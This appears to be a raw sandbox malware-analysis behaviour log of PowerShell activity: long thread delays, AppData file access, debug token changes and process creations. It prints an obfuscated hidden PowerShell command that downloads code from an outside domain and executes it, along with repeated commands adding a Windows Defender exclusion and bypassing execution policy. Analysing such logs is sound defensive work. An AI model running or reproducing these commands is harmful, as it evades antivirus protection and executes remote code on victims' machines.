Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3547	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4220	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5157	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1648	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5889	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 456	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5656	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1971	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6705
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2917

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep count: 3547 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5032	Thread sleep count: 4220 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5004	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6080	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6892	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6688	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6412	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4932	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
